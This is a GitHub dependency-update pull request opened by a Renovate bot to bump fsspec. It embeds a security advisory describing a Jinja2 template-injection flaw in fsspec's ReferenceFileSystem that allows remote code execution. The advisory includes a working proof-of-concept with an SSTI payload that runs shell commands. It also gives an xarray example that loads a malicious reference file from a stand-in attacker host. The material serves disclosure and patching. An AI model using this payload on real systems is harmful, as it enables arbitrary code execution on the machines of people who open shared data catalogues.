Skip to content

fix(deps): update dependency fsspec to v2026 [security] - #381

Open
dreadnode-renovate-bot[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fsspec-vulnerability
Open

dreadnode-renovate-bot[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fsspec-vulnerability

Conversation

@dreadnode-renovate-bot

@dreadnode-renovate-bot dreadnode-renovate-bot Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

| Package | Change | Age | Confidence |
|

Generated Summary:

  • Updated the version constraint for the fsspec[s3] dependency:
    • Changed from >=2023.1.0,<=2025.12.0 to >=2026.6.0,<=2026.6.0.
  • Ensures compatibility with the latest features and fixes in the specified version of fsspec[s3].
  • Potentially addresses deprecation or breaking changes in earlier versions.

This summary was generated with ❤️ by rigging

| fsspec (changelog) | >=2023.1.0,<=2025.12.0 → >=2026.6.0,<=2026.6.0 | age | confidence |


fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

CVE-2026-104851 / GHSA-27vj-qcqg-25rc

More information

Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.

The vulnerable code:

##### fsspec/implementations/reference.py
##### Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

##### Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

##### Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed
Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py

##### → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)

##### RCE fires before any data is materialised.
Tested on
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner)
    ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have
    been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference
filesystem" — there is no documented expectation that a data catalogue
can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared
jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.

##### At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with
_sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

fsspec/filesystem_spec (fsspec)

v2026.6.0

Compare Source

v2026.4.0

Compare Source

v2026.3.0

Compare Source

v2026.2.0

Compare Source

v2026.1.0

Compare Source

v2025.12.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

| datasource | package | from      | to       |
| ---------- | ------- | --------- | -------- |
| pypi       | fsspec  | 2025.10.0 | 2026.6.0 |
@dreadnode-renovate-bot

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: uv.lock
Using CPython 3.13.16 interpreter at: /opt/containerbase/tools/python/3.13.16/bin/python3
error: No solution found when resolving dependencies for split (markers: python_full_version >= '3.12' and python_full_version < '3.14')
  cause: Because datasets==4.0.0 depends on fsspec[http]>=2023.1.0,<=2025.3.0 and datasets>=4.1.0,<=4.3.0 depends on fsspec[http]>=2023.1.0,<=2025.9.0, we can conclude that datasets>=4.0.0,<=4.3.0 depends on fsspec[http]>=2023.1.0,<=2025.9.0.
         And because datasets>=4.4.0,<=4.5.0 depends on fsspec[http]>=2023.1.0,<=2025.10.0, we can conclude that datasets>=4.0.0,<=4.5.0 depends on fsspec[http]>=2023.1.0,<=2025.10.0.
         And because datasets>=4.6.0,<=4.8.5 depends on fsspec[http]>=2023.1.0,<=2026.2.0 and dreadnode[all] depends on datasets>=4.0.0,<5.0.0, we can conclude that dreadnode[all] depends on fsspec>=2023.1.0,<=2026.2.0.
         And because your project depends on fsspec[s3]==2026.6.0 and your project requires dreadnode[all], we can conclude that your project's requirements are unsatisfiable.

@dreadnode-renovate-bot dreadnode-renovate-bot Bot added area/python Changes to Python package configuration and dependencies type/digest Dependency digest updates labels Oct 21, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/python Changes to Python package configuration and dependencies type/digest Dependency digest updates

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants